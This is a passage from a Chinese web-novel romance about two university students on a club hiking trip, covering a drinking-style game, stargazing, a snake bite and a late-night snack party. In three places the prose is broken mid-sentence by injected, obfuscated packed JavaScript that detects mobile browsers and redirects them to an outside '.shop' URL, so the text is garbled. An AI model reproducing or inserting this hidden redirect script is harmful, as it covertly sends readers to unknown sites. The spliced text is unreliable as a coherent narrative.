“但是,像什么我身高180.34,或者我叫‘潘晓瑜’这种过于具体的还是不行。”潘晓瑜补充道。 再抬头,其他人也没有意见,于是,游戏就这么定下来了。 开始之前,潘晓瑜突发奇想,让大家组队手拉手发个誓。 小情侣坐在一起,很自然地黏巴上了,社长和赵越互相嫌弃,潘晓瑜牵着麻豆豆,李景奇牵着另一位新社员。 宁启洄右手边是岑柏意,两人手拉着手。 岑柏意的手很热,牵上去暖呼呼的,去散了初秋的寒意。 “跟着我念啊。” “我发誓——” “我发誓。” “在这场你有我没有游戏,” “在这场……” “绝不说谎。” “绝不说谎。” “否则,期末全挂,补考也挂,重修也挂,通通都挂!” 其余人:“……”真的好恶毒啊! 在潘晓瑜眼神催促下,大家还是完成了这场不受神明约束、没有法律效益的发誓。 手分开时,宁启洄指腹划过岑柏意的掌心,留下酥酥麻麻的小电流穿过后者心尖。 好像有一层薄薄的茧子,估计是健身弄出来的吧,宁启洄想。 想到岑柏意那拢在衣服里若隐若现的八块腹肌,又不自觉和自己软乎乎的肚皮比了比,他周身莫名笼罩一股自卑之意。 好在,气氛没让他自卑太久。 游戏开始了,第一个是潘晓瑜,她清清嗓子,伸出十根手指,“我在小学六年级谈过一段恋爱。” 其他人:“!!!” 开场就这么劲爆的吗?! 在场的人也都是熟人,没什么好扭捏的,大家只震惊了一会,便看见缩起手指只有三个人。 “……” 岑柏意和宁启洄对视一眼,然后默契地看向仿佛被全世界抛弃了的麻豆豆。 麻豆豆:栓Q,这个世界,没爱过我。 潘晓瑜一脸震惊,不知道是在为在座各位六年级都有一段不为人知的往事,还是一直以来都跟他说谈恋爱无数的麻豆豆居然还比不过他们。 潘晓瑜拉着麻豆豆小声逼逼,“豆儿啊,你不是谈过可多男朋友吗?” 麻豆豆红着脸,小小声,“骗你的,我就高中谈过一个,分了。” “……”她表情复杂,“为什么现在不继续骗了?”人设已经立住了,你这样会打破我这只单身狗对爱情的美好幻想。 麻豆豆嗫嚅道:“我不想挂科。” “……”OK,有理有据,令人信服。 这一趴过了,接下来是麻豆豆发言。 他红着脸,“我曾经,曾经偷看邻居家大姐姐洗澡。” 虽然他后面意识到自己喜欢男生,但小时候不懂事,啥都好奇。 当时邻居家浴室的窗户开着,麻豆豆悄悄扒拉开窗户,然后,然后就被发现了,还告诉了他父母。 那一天,他的惨叫声响了半夜。 其他人:“……?!!”这么劲爆的?! 潘晓瑜用倒拐肘怼了怼麻豆豆,小声道:“豆儿,不用这么拼命哈~” 麻豆豆扁嘴,“我上学期口译就挂了,我不想再挂科。” 潘晓瑜:“……”我的错,我忏悔,没想到伤到你幼小的心灵了。 过于劲爆的信息,众人一时间没反应过来,等潘晓瑜问第二次“有没有其他人做过这件事”的时候,大家都按了个手指下去,只有一个人默默地支棱着。 潘晓瑜瞪大眼看过去,“赵哥,没想到你是这样的人?!” 齐岳川也是看了眼身侧的朋友,眼里的神色不言而喻。 赵越恼羞成怒,“年纪小不懂事,她也原谅我了,前些天还一起吃饭呢。” “哦哟~”潘晓瑜表情暧昧,冲他挤挤眼。 “……” “继续继续!” 李景奇:“我前几天拿了篮球比赛校赛一等奖。” “……”在座各位除了岑柏意,没有院篮球队里的,只能默默按下手指。 那位一直没说话的新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……”你变了岑柏意,你以前没这么嘴毒扎心的。 等岑柏意送了很简单的一分之后,宁启洄的手指没再压下。 瞥见他失魂落魄的神色,岑柏意欣赏片刻,忽然低头,凑近他耳畔小声道:“生气了?我错了,不生气了好不好?” 宁启洄扭头,对上岑柏意略带笑意的眼眸,夜风吹过,温柔至极。 “我不该说这样的话。”岑柏意垂眸反思,眼里满是认真的神色,“我再也不开嘲讽了。” 带着热气的哑意嗓音掠过宁启洄的耳畔,他耳垂倏地红了,想要伸手揉一揉,没想到身前人手更快,指尖捏了捏他的耳朵。 “!!!” 宁启洄看他的眼神瞬间像是在看一个登徒子。 “岁宝原谅我好不好?”始作俑者迅速撤手,委屈巴巴地看着他,唇角却有一丝丝翘起的弧度,只不过宁启洄没有发现。 宁启洄瞪着他看了几秒,直到齐岳川的“我能憋气五分钟”出来。 岑柏意还是那样看着他,温柔沉静。 怕被人注意到他们的小动作,宁启洄不情不愿点头,“好啦,原谅你。” 然后,全场所有人就开始憋气,非要比一比谁憋得长。 几分钟以后,大家都狼狈地坐在,彼此看看,发出惊天爆笑。 连提出来这件事的社员也没能憋住。 “我记得我上次憋到了五分钟的!老赵还给我计时了!”齐岳川不敢置信,刚刚计时,自己居然只能憋一分多钟。 赵越银默默道:“给前几位计时忘记归零了而已。” 齐岳川:“……”6. 这场事故的结果由提出憋气的社长本人承担,他惨痛地按下一根手指。 然后,事情开始往不受控制的方向发展了,包括但不限于麻豆豆的“我穿过二十厘米恨天高”、潘晓瑜的“爬山摘桃摔骨折”以及章岚的“我和男朋友结尾晕过去很多次”。 都在各自的领域独有所长,但又让人摸不着头脑。 最终以第二轮,岑柏意的“我拿过全省高考状元”这种逼气满满的话结束了游戏。 宁启洄目光呆滞按下仅剩的独苗苗手指,觉得自己的人生真是无趣至极。 怎么这么多事情都没做过啊! 尤其是…… 今年的榜眼同志用一种嫉恶如仇的眼神看向去年的状元。 潘晓瑜嘿嘿一笑,“小学弟,愿赌服输吧~” 几位现存手指头最多的凑在一起嘀嘀咕咕商量,岑柏意听了以后,回头瞥见宁启洄看他像在看一位安插在敌人内部的眼线的亲切表情。 “……” 突然,潘晓瑜嘿嘿一笑,“不如这样……” 听完,岑柏意眉心一跳,下意识看向宁启洄。 宁启洄:兄弟,有你在我放心。 岑柏意:敌人诱惑太大,我叛变了。 宁启洄:…… 等了一会,宁启洄没收到来自眼线的内幕消息,倒是被其余人用不怀好意地笑盯着。 “……怎么了?” 输个游戏而已,不至于要狠狠羞辱他一番吧? 是要把他扒光了绑树上,还是当众来段踢踏舞。 潘晓瑜很做作地清清嗓子,眼里吃瓜的光芒盖不住,她说:“要不你们亲个嘴吧!” 36. 星空 岑柏意和宁启洄均是瞳孔一震。 岑柏意:……刚刚,好像不是这么说的。 宁启洄:救救我救救我。 岑柏意还好,看起来还毕竟镇定,宁启洄却是臊得满脸通红,话都说不出。 嘻嘻嘻看了会热闹,社长才轻咳一声,出来主持大局,“咳,既然这样,那就拉个手算了。” 言语之间,满是遗憾,但已经兴奋的眼神出卖了他。 这是什么开窗掀屋顶的委婉操作。① 宁启洄一言难尽地看着齐岳川,这家伙,把他当小孩子骗呢? 挡住众人的视线,岑柏意轻轻勾住他的小手指,低声道:“他们以为我们谈恋爱了。” 宁启洄:“……” 很明显,能看出来。 贴吧里的我们甚至结婚了。 岑柏意:“拉手介意吗?” 宁启洄还是没说话,只是低头沉思着。 见宁启洄为难,岑柏意十分善解人意,“如果你不愿意的话,我让他们换一个。” 说着,果断松开自己的手,语气却带着点不易察觉的委屈。 温热的手指抽离,宁启洄像是失去了什么一样,下意识反手扣住,不让夜风穿过他们之间,吹散那么说不清道不明的暧昧气氛。 岑柏意眼里闪过一抹笑意,又很快敛去。 宁启洄盯着自己快脑子一步的手,简直目瞪口呆。 刚才是,刚才是怎么了? 他被鬼迷心窍了? 宁启洄悄悄抬眼,打量着岑柏意。 他微微垂直眸子,看向被宁启洄勾住的小手指,月色朦胧,看不清他的神色,只觉得轮廓都裹上一层柔色。 果然,男色误人。 拉都拉了,那就…… 两人就这么顺理成章牵在了一起,岑柏意反手扣住,手指轻柔又带着强势意味穿插进指缝。 和最初的勾勾小手指不同,现在两人是真正的十指相扣,温度透过紧密贴合的皮肤传递,有些灼热,又令人心安。 其他社员都投以隐晦但八卦的表情,宁启洄欲言又止,最终还是微微低头,任由岑柏意把自己握得更紧。 怎么、怎么感觉气氛怪怪的,明明他们是在假装谈恋爱啊…… 不对,他们根本就没有谈恋爱。 就这么牵着,两人被特许一组,加起来十根手指头,又玩了一轮。 这次中招的章岚,大家还没商量出惩罚,她二话不说,扭头捧着身侧男朋友的脸吻了下去。 一吻毕,章岚的视线似有若无地在他脸上划过,好像在暗示什么。 宁启洄:“……!” 别看了! 他们并没有谈恋爱! 但不知道为什么,宁启洄并没有出声解释,只是默默放下自己还剩俩的手指头,把头扭向岑柏意那边——另一边齐岳川和赵越,肯定会冲他们挤眼的。 在其他人看来,宁启洄这个人半扎在岑柏意怀里了,露出来的耳朵微红,不知道是火光映的还是因为害羞。 其余人对视一眼,从对方脸上看出暧昧神色,都无声笑了。 再后来,这场游戏的性质变了,开始了一场激情满满的侃大山活动。 李景奇喝了口水,那架势像是在灌酒一样,“当初,我初中班主任一老头不喜欢我,班上有个同学钱不见了,他都不查一下就说是我干的——是,我承认我初中是皮了点,但也不能啥黑锅都让我背吧——” 和他读一个初中的齐岳川出声打断他慷慨激昂的发言,“不是有点,你是相当皮,乒乓球桌都给你干塌好几台,厕所器材室实验楼,没一处你没嚯嚯过的。” 另一位一直没出声的社员刘一维搂着章岚,诧异看过去,“李哥,好腰啊!” “滚滚滚,一天天没句好话。”李景奇下意识抹裤兜,发现没带烟,就作罢,只是继续说,“我是跟人干架,你们想哪去了。” “没啊,就干架。”刘一维挤挤眼,露出一个核善的微笑。 “……”这倒霉孩子。 李景奇没好气瞪了他一眼,继续说:“刚说到哪了……哦对,那老头空口冤枉我,我哪能受这气,上去就跟他理论,然后他骂我,然后莫名其妙就打起来了,场面极其混乱,然后他就去找副校长告状了,副校长让我叫家长过来。” 潘晓瑜捧场道:“后来呢,怎么解决的?” “噢,”李景奇似乎真的微醺了,迷迷瞪瞪道,“我爸来了,老师也给我道歉了,校长还让他还当着全校同学的面在晨会上做检讨。” 潘晓瑜:“……为啥?” 李景奇:“哦,因为我爸是校董啦,校长是我妈。” 其他人:“……”这个故事告诉我们,招生一定要做背调。 时候不早了,大家都嚷嚷着去睡觉。 新学年第一次爬山,并没有准备太多的活动,只是上来爬爬山看看风景唠唠嗑,增进一下社员的感情。 用齐岳川的话来说,就是要让新社员先适应一下,还有就是,让瘫了一个假期的老学长学姐们活动活动老胳膊老腿,以免刚交上的医保就物超所值了。 明早大家约好要去看日出,毕竟在山顶,来都来了,不看日出实在是说不过去了。 看日出要趁早,所以现在大家都回帐篷睡了。 帐篷是临时租的,里面的睡袋是买的。 帐篷不大,社员里正好八个人,两个女生六个男生,两两分组睡一个帐篷。 宁启洄和岑柏意睡一顶帐篷——其实两人还没有说什么,其他人就迅速分好了组,潘晓瑜和麻豆豆甚至用“你们懂得不用谢我”的表情看他们。 此刻,大家都收拾好回帐篷了,帐篷里的灯也一盏盏灭掉。 林间有风吹过,树叶沙沙作响。 篝火明亮,四周静谧,仿佛只剩下他们两人在一起。 宁启洄打了个哈欠,眼角流出些生理眼泪,他懒懒道:“都走了啊,还以为有啥活动呢。” 不过也是,他们没弄烧烤架食材上来,气氛到位了设备不太够。 岑柏意把宁启洄吃空的薯片袋子塞进垃圾袋里收拾好,扭头看他,“困吗,不困去看星星?” 篝火亮度稍弱,火光映照在岑柏意的侧脸,显得温柔平和。 宁启洄说好。 等两人走出一些路程,宁启洄突然迟疑道:“不叫他们吗?” 岑柏意面不改色,“他们看过很多次。” 也是,爬过那么多山呢。 宁启洄丝毫没有想到,这次还有一个新社员的参与,他快快乐乐地跟着岑柏意去了。 岑柏意带他去的地方离露营地不远,穿过树林以后就到了,是山顶的一块小平地,边上有人踩过的痕迹。 这个季节登山很舒服,估计也有人和他们一样,上来看山景。 山顶视野好,宁启洄往前一蹦,叉腰无声大笑。 岑柏意在一旁静静看着。 突然,宁启洄抬头,看见了什么东西,扭头给岑柏意指,“看看看!” “什么?”岑柏意很配合地走上前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012947|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是北斗星!” 宁启洄伸手,对着夜幕比划出一个“勺子”的形状。 “真的是北斗星。”岑柏意也笑。 宁启洄又转换目标,“那个就是北极星!” “还有天狼星!” …… 指了一阵,宁启洄眯眼,指着那一闪一闪的不稳定光源,“那是什么星星?” “那是飞机。”岑柏意的声音带着一丝包容与原谅。 “……喔。” 安分了一会,宁启洄又说:“你说,今晚会不会看见流星雨?” 岑柏意默了一瞬,摸出手机查,过了几分钟,很肯定地说没有。 宁启洄狐疑,“你怎么知道没有?” 岑柏意:“天气预报和微博都没说有。” “……”那也是,要是有,南云山怎么可能就这点人。 宁启洄彻底安分了,两人坐着吹夜风,有一搭没一搭地聊着。 “其实我一起也爬山,感觉爬上来可有成就感了。”宁启洄眯着眼睛,身体渐渐靠在岑柏意的肩上。 岑柏意轻轻动了一下,让前者靠得更舒服一些。 他柔声接过话,“你一个人吗?” 宁启洄声音有些轻,“不啊,小林子,还有我小舅……哦对,有时候还会带牧哥。” 表情带着甜蜜和回忆。 “?” 岑柏意不动声色问道:“牧哥是谁?” “牧哥就是……”宁启洄眯着眼,被风吹得有些舒服,一时间忘了接下来要说什么。 等凉风钻进脖颈,他才清醒一些。 “啊,我刚才说什么了?”宁启洄茫然坐直身子。 岑柏意无奈,“你说牧——” “哦对,我以后要当一个特别特别厉害的甜品师!” 岑柏意不知道话题怎么跑这里来了,他很想问牧哥到底是谁,喊得这么亲热的称呼。 但他看见宁启洄微微仰头,眸子柔和清亮,像只骄傲的小孔雀。 他把心中的疑虑放下,顺着他说,“为什么呢?” 宁启洄:“因为我最近喜欢吃甜品了,我觉得做个甜品师超级棒!” 岑柏意含笑看他,不置可否。 宁启洄被他看得有些不好意思,微微低头,就听他说:“那我们先从打鸡蛋学起。” “……” 梦回上次试图偷师鸡蛋羹然后磕了一碗蛋壳的惨痛经历。 可恶,这人真煞风景。 风轻轻一吹,似乎又把他的甜品梦给吹走了。 少年的心思,来得快,去得也快。 满天繁星照映下,岁月都显得平和慵懒。 两人坐着聊了很久,从过往经历到未来理想。 明明只认识了一个多月,但宁启洄却觉得像是相识已久。 他微微抬头,看向岑柏意。 也许是被无酒精饮料灌醉了,也许是被风吹醺了,宁启洄的脸颊红红的,眼睛亮晶晶。 他说:“谢谢你今天带我来这里。” 风景很美,气氛正好。 岑柏意侧脸看向宁启洄,温柔地笑了一下,说了句什么。 夜晚起了风,林间树叶哗哗作响,蛰伏的小虫也怕惊扰夜色,只低低鸣叫几声。 宁启洄没听清,微微瞪大眼,只看见岑柏意的嘴动了动。 “什么?” 岑柏意重复一遍。 风温柔地拂过他的耳畔,把身侧人的话带到他身边。 他说,今晚月色很美。 37. 蛇咬 宁启洄躺在睡袋里,旁边是岑柏意的睡袋。 帐篷不大,供睡觉的地方没有多少,两人离得很近,即便是隔着睡袋,宁启洄都能感受到岑柏意呼吸的灼热。 宁启洄轻轻翻了个身,帐篷里静了一瞬,随即响起岑柏意有些无奈的声音,“岁宝,你是想憋死自己,好让我悔憾终生吗?” 睡袋不大,宁启洄手长脚长,翻身会勒脖子遮住鼻子影响呼吸。 宁启洄闻言,身体一僵,没有出声。 岑柏意无奈,轻轻叹气,“我只是,觉得月色真的很美,没想那么多,抱歉让你烦扰了。” 原来,原来是他想多了吗。 宁启洄脸色通红,露出一只的耳朵尖也红红的,像只红毛小狐狸。 他还是背对着岑柏意,声音讷讷:“啊,没事,是我想岔了,没事没事。” 岑柏意抿唇,还是柔声道:“那转来睡好不好?侧睡对颈椎不好。” “但会让我心情舒畅。”宁启洄下意识发动捧哏技能,随即一愣。 下一秒,就听见身侧传来一声短促的笑声。 “……” 宁启洄悄悄深呼吸几次,等脸上的温度彻底降下来了,他才正躺回来,眼睛紧闭。 “那……晚安,岁宝。” “晚安。” 黑暗中,岑柏意凝视他许久,眼里满是复杂的神色,最后只是无声叹气。 他是不是太着急了? 入睡前,宁启洄脑海里浮现出那片璀璨的星空。 岑柏意说,今晚月色很美。 他是怎么回答的? 他说,夏目漱石也这么说过。 ……救命,他到底说了些什么?! 后面,两人看了星空赏完月,若无其事回了露营地。 岑柏意面色如常,只有他紧张得跟做了亏心事一样。 他当然知道这句话什么意思,但他不确定岑柏意知不知道,毕竟他很难相信岑柏意顶着一张高冷禁欲脸,会对他说“我喜欢你”。 不过,岑柏意好像并不高冷的样子,是很温柔的一个人。 宁启洄微微翘起唇角,他想,确实很美,月色和星空都是。 意识渐渐模糊,直至终于睡去。 他不知道自己居然无意识把心里话说了出来,也不知道身侧人看他的眼神是何等的温柔。 —— 第二天起了个大早,大家吃了点东西,准备从另一条道下山。 一路上有说有笑,和来时一样。 突然,那位拿过舞蹈奖项的大一新社员肖蓬羽突然停住,有些焦急地说:“我的怀表不见了,我妈妈的照片在里面。” 宁启洄神色一动,昨晚肖蓬羽分享过他的故事:他从小跟着母亲长大,母亲一直支持他的兴趣爱好,喜欢跳舞就去学,参加比赛会专门买车票赶过去看,比完赛母子俩乐呵呵一起下馆子。 就在高考出成绩前夕,他的母亲出了车祸永远离开了他,没能听儿子考上A大的好消息。 他现在跟着不太亲的舅舅一起生活,这块怀表是他第一次获奖时母亲给他的,里面是两人的合照,对他来说意义非凡。 现在,怀表不见了。 大家伙都原路返回,沿途仔细寻找,时不时扒拉草丛。 “爬山你带这东西来做什么。”时间已经过去大半个小时,齐岳川不免有些焦急,他们在山上玩了很久,如果再拖下去,最后一段路得抹黑下山。 想到这里,语气不免重了一下。 “对、对不起……”肖蓬羽怯怯道,他只是想妈妈一直陪着自己。 比社长小一届的潘晓瑜完全不怵他,把肖蓬羽护在身后,“找东西要紧,乱发什么脾气。” 齐岳川:“……” 天地良心,他哪里发脾气了?! 气得要死的社长任劳任怨继续找。 终于,在又半个小时过去之后,怀表有消息了。 大家快速赶过去,就见宁启洄踩在悬崖边的一块石头上,单手拉着树枝,另一只手去够卡在石壁岩缝里的怀表。 见到这一幕,岑柏意心跳几乎停止。 没人敢出声惊扰,生怕把人吓到,手一滑没抓稳就摔下悬崖。 只有岑柏意悄然靠近,等宁启洄拿到怀表撤回探出的上半身,他一把扯住他,将他拉回来。 宁启洄的身体重重撞在岑柏意身上,他仰头看他。 “谢——” “你不要命了?!”岑柏意吼他。 宁启洄愣在原地,在他印象里,这是岑柏意第一次冲他发脾气,以前最差也不过是冷脸,还是第一次见面吃饭的时候。 之后相熟了,便再也没有了,一直都很温和包容。 宁启洄把怀表递给战战兢兢的肖蓬羽,后者小声说了句“谢谢”。 宁启洄说没事,转头伸手去拉岑柏意的手,却被他躲开了。 他背着包,径直往山下走。 齐岳川拍拍他的肩膀,“生气了别反着来,好好哄一哄。” 说着,又看了看宁启洄,一阵后怕道:“你胆子还真大,悬崖边上都敢去。” 宁启洄动了动嘴,到底没说出什么来。 这事他理亏,想着不耽误大家的时间,踩了块看着坚固的石头扶着树去够怀表,完全没想过石头滚落树枝断裂的可能性。 现在想想,以旁观者看来,肯定是凶险万分,更何况很关心他的岑柏意。 想到这里,宁启洄快步跟上岑柏意,好声好气道:“以前爬过山做过相关资料,能判断那块石头能不能踩,我心里有数。” 宁启洄巴巴跟在岑柏意身后,像只小尾巴一样,甩也甩不掉——当然,岑柏意也没想着甩他。 岑柏意没理他,只是狠心径直走过,这人显然是没有认识到自己的错误。 一路上,宁启洄劝了又劝,嘴皮子都磨破了也不见他松口。 宁启洄本来就有点少爷脾气,哪里这么哄过人,都是林枫晚好声好气哄着他,现在反倒是换了个角色。 心头有些烦躁,宁启洄都不想哄了。 你岑柏意算老几啊,凭什么这么吼我,我爹都没……好吧,宁先生有时候脾气不好,也吼过,只不过被苏女士骂回去了而已。 想到这里,宁启洄轻轻笑了一下,心里的烦躁压了下去。 急促的气音划过,准确无误穿进前方人的耳朵里。 岑柏意:“……”他还有脸笑?! 岑柏意要气死了,走得越来越快。 宁启洄暗道不好,又快步追上。 正纠结如何开口,突然想到齐岳川对他说的话,他斟酌了一下语言,看着岑柏意冷峻的侧脸。 “……我不是故意吓你的,”宁启洄把话说完,眨眼看向岑柏意,“当时情况太紧——” 宁启洄突然止声,看见地上有一条棕灰色的长条状活物,正迅速朝他们这边袭来。 宁启洄下意识拉过岑柏意,把他拉离原来的位置,与此同时,那条蛇猛扑过来,直接咬住宁启洄的小腿! “怎——”岑柏意忽然顿住,看见了咬了宁启洄的蛇。 他扔下背包砸中那条蛇,迅速蹲下撸起宁启洄的裤腿。 天气不算太凉,裤子没有很厚,裤脚的牙印之后,是雪白的皮肤,和正往外冒血的伤口。 岑柏意心一慌,随即蹲下身,俯身凑近宁启洄的小腿。 宁启洄没来得及阻止,就见岑柏意一口接一口吸出鲜红的血液, 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“……嗯,不知道是什么蛇,棕灰色,有花纹……草!这他妈不会是五步蛇吧!”齐岳川脸色很难看,但还是很快接着说,“不过我们抓住了,对,半山腰这里,好,我们往环山公路走……好的麻烦了。” 挂了电话,齐岳川沉默拎过两人的包,大步往前走领路,其他人在周围注意有没有突发情况,以免再有谁被咬一口。 几人静静地走着,岑柏意突然说:“这不是五步蛇。” 齐岳川脚步一顿,继续往前走。 “五步蛇不长这样,”他说,“我小时候被咬过,五步蛇有三角形花纹,这条蛇没有,五步蛇有三角形的头。” 岑柏意语序有些奇怪,似乎思维陷入某种困境。 他喃喃道:“应该是无毒蛇。” 不知道说给他们听,说给宁启洄听,还是说给自己听。 他们是朝反方向下的山,原本还要二十分钟才能到盘山公路,这会居然十分钟就到了。 救援队的车已经到了,宁启洄被岑柏意直接抱了上去,坐在他怀里,他给他的绑带松了松,以免血液不流通导致肢体坏死。 屁股和大腿接触的地方,像是放了块烙铁般灼热。 宁启洄有些不适应地扭动着。 “其实我……” “岁宝对不起。”岑柏意把头搁在宁启洄肩头,轻声道,“对不起。” 他把“能走能动”这几个字吞回去,老老实实窝在岑柏意怀里。 “其实,其实没必要道歉的……”宁启洄小声。 “我没照顾好你。”岑柏意闭了闭眼,眉心蹙起。 他想起宁启洄毫不犹豫地把他推开,心里闷得难受。 蛇本该咬的是他,本就是他…… 医院离得不远,很快就到了。 医生看了眼袋子里活蹦乱跳但尾巴被弄断的蛇,点头说:“这是三索锦蛇,无毒,不过还是做个血检看一下……这伤口处理很到位啊。” 医生给宁启洄的伤口做了简单处理,抽了血离开。 大家都默契离场,待在大厅里,只有岑柏意陪着宁启洄——肖蓬羽本想留下来的,毕竟这事可以说是因他而起,但被潘晓瑜强行拖走了。 “是我不好,我不该不管你走那么快。”岑柏意语气满是懊恼。 “谁能料到有蛇呢。”宁启洄抿唇,继续道,“怪我,捡怀表让你担心了。” 两人又沉默了,岑柏意看着宁启洄的伤口,宁启洄盯着他快要碎了的表情。 都有错,但又错得有理由。 半晌,宁启洄出声转移注意力,“你之前说,你小时候被五步蛇咬过?” “嗯。”岑柏意点头,声音闷闷的。 38. party 宁启洄歪头看他,“能跟我说说吗?” 岑柏意说好。 他给宁启洄倒了杯温水,缓缓讲述当年的事情。 当时,他还是一个五六岁的小朋友,去爷爷那边过暑假。 “你还记得我说过,我爷爷住在山里吧。”岑柏意语调很轻,像是风在撩拨人心。 宁启洄点头,他当然记得,还有那只被认作兄弟的鸡,以及那碗子孙鸡蛋羹。 “……”好像不对劲。 小岑同学的童年还真是多舛啊,又是掉下山崖又是挨蛇咬的。 岑柏意说,他在山里结交了几个朋友,一伙人热热闹闹和他出去玩,后面小伙伴陆续被叫回家吃饭,邻居阿姨也想把他带回去,小岑柏意很有自己的想法,坚定地往小树林里走去。 邻居阿姨劝也劝不住,只能先把自家的孩子带回去,通知岑柏意的爷爷来抓人。 就这样,人小胆大的小岑柏意独自一人进了树林探险。 途中,踩到了一个软绵绵的东西,岑柏意好奇探头。 然后,他就被咬了,五步蛇,他记得很清楚,三角形的头高高昂起,浑身三角形棕灰色花纹,那双凶狠无情的眼睛盯着他,咬完就跑。 藕节似的手臂上出现两个血窟窿,不过好在没过几秒,家里人正好找过来,带着他就医,车速飙到飞起。 故事吸引了他的大部分注意力,宁启洄好奇探头看去,岑柏意此刻的表情有些模糊不清,似乎陷入了回忆。 “你为什么一定要进树林?”宁启洄问。 岑柏意回神,笑道:“感觉冥冥之中有东西在召唤我。” 宁启洄:“主角升级流套路,然后你就能获得绝世秘籍称霸大陆。” “……其实就是山里闲得没事做,找点乐子。” 岑柏意喝了口水,喝完才反应过来,这是宁启洄的杯子,不过后者在看门外的一场纠纷,并没有注意到,只是随手拿过杯子,也喝了一口。 “!!!”间接接吻了! 宁启洄喝完,干燥的唇有了水色,舌尖舔了舔嘴角。 他坏笑道:“哭了没?” 小豆丁,肯定哭得很惨。 岑柏意错开他毫不掩饰的视线,耳根红了红,有些不好意思地开口:“哭了。” 宁启洄无声笑了笑,他想起了那天岑念翻给他看的相册,正好有他五六岁在山里拍的照片——他头上戴着小帽子,手里拿了柄玩具剑,指向斜前方,像个忠实又英勇的守卫,坚定地守护身后的净土。 他想,白白嫩嫩的小岑柏意,哭起来肯定也很可爱。 · 血检结果出来了,指标都在正常范围之内,伤口不是很深,不需要打破伤风,医生给他伤口消了毒就让他走了。 岑柏意拧眉,看样子恨不得宁启洄住上几天院观察观察就好。 伤患拖着人就跑。 几人又浩浩荡荡回了学校,站在校门口,齐岳川心情复杂地给宁启洄道歉,说他没有照顾好他,毕竟他是社长。 肖蓬羽也给他道歉,还买了奶茶分给同行的几人,都是为了找他的怀表才这样的,不然早就下山了,怎么可能被蛇咬。 岑柏意满是歉意地看着他。 一时间,校门口竟成了道歉会,宁启洄站在他们对面,像个活靶子一样。 他扯了扯嘴角,“不至于,真不至于。” 最后,还是岑柏意把他解救出来,大家各回各宿舍,明早都要赶早八。 他和岑柏意走在会山海七栋的路上,夜风轻拂,吹走一天的燥意。 他抬起手腕遮住额头,眯眼去看深蓝色的天空,学校小道两侧的路灯已经亮起,把两人的身影拉得很长。 经过一个小超市,宁启洄突然停住脚步,扭头冲岑柏意笑,“岑老板,你等我一会。” 岑柏意揉揉被热意吹过的耳朵,含笑点头。 没过多久,金牌小员工宁启洄从小超市钻出来,手里提溜着两个袋子。 小宁员工兴奋道:“走走走!今晚开party!” “什么party?” 岑柏意低头看了眼,袋子里全是薯片泡面辣条之类的高热量快乐餐,还有几瓶度数不高的酒。 他笑了一下,说好,很自然地接过他手里的袋子。 “嘿嘿,我还点了烧烤!上次和小林子吃了,超级好吃!”宁启洄两手空空,边碎碎念边比划那家的烧烤有多好吃。 他倒退着走,迎着月光,眼睛亮亮的。 岑柏意想,就这样下去也不错,明白也好,不明白也罢,都很好。 · 烧烤确实好吃,以至于太受欢迎了,他们的外卖一个小时之后才到。 宁启洄把烧烤拆开,放在林枫晚刚煮好的芝士火鸡面上,扑鼻的香料味刺激得人流口水。 他取了生菜,塞了好大一包肉,很自然地递给岑柏意。 岑柏意面不改色,他只是看着拳头大的生菜烧烤包,思索如何下嘴。 半晌,咬了一口,鲜脆清甜的生菜裹着咸香麻辣的烧烤,多到夹不住的肉顺着生菜叶落在碗里,又被他面不改色吃掉了。 “好吃吧?”宁启洄笑嘻嘻,好像这烧烤是他自己亲自烤的一样。 陷入单向热恋的岑柏意被迷昏的心智,点头给予肯定,并递过一个烤鸡腿,“你也吃。” 林枫晚和江千陵对视一眼,确认过眼神,是一起吃瓜的猹对象。 就爬了个山,这是发生了什么……哦哟~ 当然,林枫晚还是有一丝丝清醒,看岑柏意的眼神,既像弟妹,又像黄毛,还带着不易察觉的同情。 当然,当事人并没有察觉到,只是很愉快地在互相投喂。 等吃完了,几人倚在椅子上消失,岑柏意突然说:“有伤口是不是不能吃辣的?” “……” 宁启洄微微沉默,显然是忘记了这件事情,不过,忘记就忘记了,反正就算记起来也不能阻止他通往快乐的天堂。 他咽下嘴里最后一口辣牛肉,试图挑战医学原理,“吃什么补什么,我吃了不少鸡腿,应该能恢复得更快。” 林枫晚已经知道宁启洄被蛇咬了,他翻了个白眼,把腿搁在江千陵膝盖上,毫无形象可言。 他赞叹于宁启洄浮于表面的理解,“得吃鸡小腿琵琶腿,你吃的是鸡翅根。” “……” 宁启洄不欲和他争辩鸡腿的部位,反正蜜汁小鸡腿吃起来甜滋滋, 江千陵戳了戳男朋友的脚踝,成功得了一脚,舒服了。 他喝了口精酿啤酒,笑着说:“不如把那蛇烤了吃了,从根源解决问题。” 宁启洄眯眼看了会杯中的酒,随即抬头认真道:“三索是国二保护动物,吃不得。” “……?” “我查过,是真的。”宁启洄严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012949|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃补充道。 “……你为什么要查这个?”江千陵微微崩溃,他觉得岑哥这位小男朋友是真的很难搞,比他对象还难搞。 宁启洄笑了一下,“被咬之后,我是有过这个想法的。” 林枫晚喝了不少,有些大舌头了,他接话道:“然后呢?” 宁启洄:“然后百度了一下,被金光闪闪的法律压制了。” 